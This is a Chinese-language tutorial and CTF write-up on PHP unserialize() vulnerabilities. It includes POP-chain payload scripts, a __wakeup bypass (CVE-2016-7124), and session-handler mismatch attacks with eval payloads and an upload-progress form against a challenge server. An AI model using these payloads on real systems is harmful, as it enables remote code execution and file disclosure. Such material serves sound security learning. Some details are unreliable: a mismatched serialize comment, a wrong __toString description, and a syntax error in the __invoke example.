0x01 基础知识

  • PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。

  • PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。

  • PHP反序列化漏洞:如果代码中使用了反序列化 unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列魔术方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。


0x02 序列化格式

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class A {
public $x;
private $y;

public function __construct($x, $y)
{
$this->x = $x;
$this->y = $y;
}
}
$number = 10;
$str = 'Lethe';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$a = new A('lethe', true);

var_dump(serialize($number)); //string(5) "i:10;"
var_dump(serialize($str)); //string(12) "s:5:"Lethe";"
var_dump(serialize($bool)); //string(4) "b:1;"
var_dump(serialize($null)); //string(2) "N;"
var_dump(serialize($arr)); //string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
var_dump(serialize($a)); //string(73) "O:1:"A":4:{s:4:"data";N;s:7:" A pass";N;s:1:"x";s:5:"lethe";s:1:"y";b:1;}"
?>

输出结果如下:

1
2
3
4
5
6
string(5) "i:10;"
string(12) "s:5:"Lethe";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(47) "O:1:"A":2:{s:1:"x";s:5:"lethe";s:4:" A y";b:1;}"

可以看到不同的php数据结构序列化后结构如下:
所以序列化对于不同类型得到的字符串格式为:

  • String : s:字符串长度:"字符串值";
  • Integer : i:数值;
  • Boolean : b:value;(value为1或0)
  • Null : N;
  • Array : a:数组大小:{键的描述;值的描述;键的描述;值的描述; ...} (描述值同String或Int型的序列化格式)
  • Object : O:类名长度:"类名":属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值; ...}

除此之外,还要注意类内不同限定的属性及方法序列化后格式也不同,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A
{
private $a="private";
}
class B
{
protected $b="protected";
}
class C
{
public $c="public";
}
$aa = new A();
$bb = new B();
$cc = new C();
echo serialize($aa);
echo serialize($bb);
echo serialize($cc);
?>

输出如下:

1
2
3
O:1:"A":1:{s:4:" A a";s:7:"private";}
O:1:"B":1:{s:4:" * b";s:9:"protected";}
O:1:"C":1:{s:1:"c";s:6:"public";}

0x03 魔术方法

(1)PHP16个魔术方法

PHP中把以双下划线__开头的方法称为魔术方法(Magic methods),这些方法在达到某些条件时将会自动被调用:

  • __construct(),类的构造函数,:当一个类被创建时自动调用

  • __destruct(),类的析构函数,当一个类被销毁时自动调用

  • __sleep(),执行serialize()进行序列化时,先会调用这个函数

  • __wakeup(),执行unserialize()进行反序列化时,先会调用这个函数

  • __toString(),当把一个类当作函数使用时自动调用

  • __invoke(),当把一个类当作函数使用时自动调用

  • __call(),在对象中调用一个不可访问方法时调用

  • __callStatic(),用静态方式中调用一个不可访问方法时调用

  • __get(),获得一个类的成员变量时调用

  • __set(),设置一个类的成员变量时调用

  • __isset(),当对不可访问属性调用isset()或empty()时调用

  • __unset(),当对不可访问属性调用unset()时被调用。

  • __set_state(),调用var_export()导出类时,此静态方法会被调用。

  • __clone(),当对象复制完成时调用

  • __autoload(),尝试加载未定义的类

  • __debugInfo(),打印所需调试信息

具体调用情况可以参考:https://segmentfault.com/a/1190000007250604#articleHeader4

其实在反序列化漏洞中经常利用的有:__construct()__destruct()__sleep()__wakeup()__toString()__invoke()__call()这几个,所以下面针对这几个作具体说明。

(2)__construct()调用方式

在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

1
2
3
4
5
6
7
8
9
10
11
<?php
class A
{
function __construct()
{
echo "This is a construct function";
//...
}
}
$a = new A();
?>

运行结果:

1
This is a construct function
(3)__destruct()调用方式

在每个类中都有一个析构方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的析构方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class A
{
function __construct()
{
echo "This is a construct function";
//...
}
function __destruct()
{
echo "This is a destruct function";
//...
}
}
$a = new A();
?>

运行结果:

1
2
This is a construct function
This is a destruct function
(4)__sleep()调用方式
  • serialize() 函数会检查类中是否存在一个魔术方法 __sleep();如果存在,则该方法会优先被调用,然后才执行序列化操作。

  • 此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

  • 如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <?php
    class A
    {
    private $test;

    public function __construct($test)
    {
    $this->test = $test;
    }
    public function __sleep()
    {
    echo "This is a sleep function";
    // ...
    return array('test'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
    }
    }
    $a = new A("Lethe");
    echo serialize($a);
    ?>

    运行结果:

    1
    2
    This is a sleep function
    O:1:"A":1:{s:7:" A test";s:5:"Lethe";}
(5)__wakeup()调用方式

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class A
{
private $test;

public function __construct($test)
{
$this->test = $test;
}
public function __sleep()
{
echo "This is a sleep function";
// ....
return array('test'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
}
public function __wakeup()
{
echo "This is a wakeup function";
// ....
// 这里不需要返回数组
}
}
$a = new A("Lethe");
$b = serialize($a); //O:1:"A":1:{s:7:" A test";s:5:"Lethe";}
$c = unserialize($b); //unserialize之前先调用了__wakeup
?>

运行结果:

1
2
This is a sleep function
This is a wakeup function
(6)__toString()调用方式
  • __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应时该显示些什么,即调用其函数内容。

  • __toString() 方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

  • 不能在 __toString() 方法中抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A
{
private $test;

public function __construct($test)
{
$this->test = $test;
}
function __toString()
{
$str = "This is a toString function";
//...
return $str;
}
}
$a = new A("Lethe");
echo $a;
?>

运行结果:

1
This is a toString function
(7)__invoke()调用方式
  • 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,即$obj = new class(); $obj();时该做什么。

  • 本特性只在 PHP 5.3.0 及以上版本有效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A
{
private $test;

public function __construct($test)
{
$this->test = $test;
}
function __invoke()
{
echo = "This is a invoke function";
//...
}
}
$a = new A("Lethe");
$a(); //$a是一个对象,但却用$a()调用方法的方式来调用它
?>

(8)__call()调用方式
  • __call()方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。
  • 该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。
  • 格式 function __call(string $function_name, array $arguments){ //... }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class A
{
private $test;

public function __construct($test)
{
$this->test = $test;
}
function __call($funName, $arguments)
{
echo "你所调用的函数:" . $funName . "(参数:" ; // 输出调用不存在的方法名
print_r($arguments); // 输出调用不存在的方法时的参数列表
echo ")不存在!<br>\n"; // 结束换行
}
}
$a = new A("Lethe");
$a->test('no','this','function'); //可以看到A类中并没有test()方法
?>

运行结果:

1
2
3
4
5
6
7
你所调用的函数:test(参数:Array
(
[0] => no
[1] => this
[2] => function
)
)不存在!<br>

0x04 反序列化漏洞分析

说了这么多,下面就通过几个例子看看到底如何利用php反序列化进行攻击。

例1:全面考察的一题
(1)题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."flag{Here_1s_y0u_fl4g}";
}
}
$a = $_GET['string'];
unserialize($a);
?>
(2)思路:
  • 要想获得输出flag,那么我们肯定要想办法调用GetFlag类的里的get_flag()方法。

  • string1类我们可以看到,只要把$str1实例化为GetFlag类的对象,然后调用想办法调用__toString()方法即可,那就找有没有地方把对象当作字符串了。

  • 往上看,func类的__invoke()方法中有用.来进行字符串拼接的代码,那么只要把$mod1实例化为string类的对象,然后再调用该__invoke()方法即可,那就找有没有地方把对象当作函数来调用了。

  • 发现在funct类的__call()中有 $s1();可以利用,只需要把$mod1实例化为func类的对象,然后再调用该__call()方法,那就找哪里调用了未声明的函数。

  • Call类中的test1()方法调用了不存在的test2()方法,所以只需要把$mod1实例化为funct类的对象,然后再调用该test1()方法。

  • 看到在start_gg类中的__destruct()方法中正好调用了test1()方法,那么只要$mod1实例化为Call类的对象即可。

  • 想要调用start_gg类中的__destruct()方法,只有实例化一个它的对象即可,这个对象在销毁时会自动调用__destruct()函数。

  • 如何在每个类中实例化另一个类呢?可以利用类的构造函数,只要这个类被实例化,构造函数就自动实例化了你所需要的那个类。

(3)解答

思路清楚后就很容易了,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
class start_gg
{
public $mod1;
public function __construct()
{
$this->mod1 = new Call();
}
}
class Call
{
public $mod1;
public function __construct()
{
$this->mod1 = new funct();
}
}
class funct
{
public $mod1;
public function __construct()
{
$this->mod1 = new func();
}
}
class func
{
public $mod1;
public function __construct()
{
$this->mod1 = new string1();
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1 = new GetFlag();
}
}
class GetFlag {}

$a = new start_gg();
echo serialize($a);
?>

输出结果:
O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}

题目是用Get传参进去,我这里直接将上述构造好的序列化字符串传进去,成功输出flag:

在这里插入图片描述


例2:第十二届全国大学生信息安全竞赛 JustSoso
(1)题目

本题要先用文件包含得到源码index.phphint.php,在这里我就只讲关于反序列化的部分了。

index.php包含了hint.php,其中有$payload = unserialize($payload);进行了反序列化,而$payload是我们可控的参数。

hint.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}

class Flag{
public $file;
public $token;
public $token_flag;

function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
(2)思路
  • 要想获取flag,明显要利用Flag类中getFlag()方法的highlight_file()函数将flag打印出来,因此需要将$this->file参数赋值为flag.php,所以就先找哪里调用了getFlag()方法。
  • 发现在Handle类的__destruct()方法中调用了,所以只需要将$handle实例化为Flag类的对象,然后创建Handle类的对象就行了,该对象销毁时就会自动调用__destruct()

这样调用的思路就清楚了,但是和例1不同的是,这里还有两个地方需要绕过。

① 在Handle类的__wakeup()方法中,使用了get_object_vars($this)进行迭代来将类中的所有属性都赋值为null,这就意味着无论我们怎么构造,只要到unserialize()那里就会调用__wakeup()把属性都给清空,这样肯定就不会成功了。
这里需要通过CVE-2016-7124来绕过,即“序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行”。

前面我们介绍了序列化的格式,所以只需要在序列化字符串构造完成后,将属性的个数修改的比实际大就可以了。

② 在你终于成功调用到了getFlag()方法后,还必须满足$this->token === $this->token_flag的验证,而
token_flag是每次随机生成的,怎么样才能使$token和它相等呢?

其实我们可以在构造的时候把$token声明为$token_flag的引用,如果不知道什么是引用,得好好补一下编程知识了,这样实际上$token$token_flag就是同一个东西了,当然可以绕过验证。

(3)解答

构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
$this->handle = new Flag($handle); //将handle声明为Flag类的对象,并将$handle作为参数传入
$this->handle->token =& $this->handle->token_flag; //将token声明为token_flag的引用
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
}

}

$a = new Handle('flag.php');
echo serialize($a);
?>

输出结果:
O:6:"Handle":1:{s:14:" Handle handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

当然要作为此题的payload,别忘了前面说的还要把序列化串中属性的个数由1改为2来绕过__wakeup的执行。


0x05 PHP SESSION反序列化

除了上面说的,在文件里面不严谨的使用了unserialize()之外,反序列化还有一种利用方式,即SESSION反序列化。

(1) SESSION反序列化

PHP在存储和读取session时,都会有一个序列化和反序列化的过程,同时反序列化中也会调用一些魔术方法。

PHP 内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,这几种处理器如下:

处理器 对应的存储格式
php 键名 + 竖线 + 经过 serialize() 函数反序列处理的值
php_binary 键名的长度对应的ASCII字符 + 键名 + 经过 serialize() 函数反序列处理的值
php_serialize (php>=5.5.4) 经过 serialize() 函数反序列处理的数组

即若设置如下Session:

1
2
3
4
5
6
7
<?php
session_start();
$name = $_GET['name'];
$passwd = $_GET['passwd'];
$_SESSION['name'] = $name;
$_SESSION['passwd'] = $passwd;
?>

当传入name=lethe&passwd=123时,不同处理器对应的序列化字符串:结果如下:

处理器 对应存储的序列化字符串
php name|s:5:”lethe”;passwd|s:3:”123”;
php_binary names:5:”lethe”;passwds:3:”123”;
php_serialize (php>=5.5.4) a:2:{s:4:”name”;s:5:”lethe”;s:6:”passwd”;s:3:”123”;}

问题就在,如果 PHP 在反序列化和序列化Session时使用不同的处理器,可能会导致数据无法正确反序列化,经过构造甚至可以执行代码。

例子如下,有两个页面:

1
2
3
4
5
6
7
8
9
10
11
12
//test1.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();

class A {
public $test;
function __construct()
{
eval($this->test);
}
}
1
2
3
4
5
6
//test2.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = $_GET['name'];
?>

可以看到这两个页面分别用了不同的处理器来处理Session,我们就可以利用php_serializephp的差异来进行构造。

我们先进行构造,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class A {
public $test;
function __construct()
{
eval($this->test);
}
}
$a = new A();
$a->test = 'phpinfo();';
echo serialize($a);
//output: O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}
?>

首先,我们访问test2.php,我们在上述payload前加上|,并传入?name=|O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

这样由php_serialize处理器序列化存入的session实际上为:

1
a:1:{s:4:"name";s:42:"|O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}";}

但是在test1.php中是使用的php处理器,由它们的区别我们可以知道:在被php处理器反序列化的时候,会以|来分割为键值对。

这样当带着上面上述Session去访问test1.php时,|后面的值,也就是我们构造的序列化字符串就会被成功的反序列化并执行了。

(2)CTF实例

题目连接:http://web.jarvisoj.com:32784

给了源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

可以看到这里用了ini_set('session.serialize_handler', 'php');,那么我们只要传入构造好的session,就可以进行反序列化攻击了。

根据题目,先看一下phpinfo()的信息,发现session.upload_progress.enabled是on的,而session.upload_progress.cleanup所以可以通过上传文件,从而在session文件中写入数据。

(3)关于session.upload_progress(php>=5.4)

在php.ini有以下几个默认选项:

1
2
3
4
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
  • enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中

  • cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要

  • name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控

  • prefix+name将表示为session中的键名

关于这方面的利用,可以参考:https://www.freebuf.com/vuls/202819.html

所以这里我们先构造表单,这里的action只要是服务器上代码中有session_start()的php文件即可:

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">        
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

然后利用如下脚本生成序列化字符串(这里system等系统函数好像使用不了,可能权限不够):

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = "print_r(scandir(dirname(__FILE__)));";
}
}
$a = new OowoO();
echo serialize($a);
// Output: O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>

利用写好的表单随意上传文件,然后抓包,修改文件内容,因为我提交的是index页面所以直接看到结果:

在这里插入图片描述

知道了flag的文件名,之后修改payload脚本的就可以代码执行了。

下面先读一下当前文件的目录位置:

在这里插入图片描述

最后读出flag即可:

在这里插入图片描述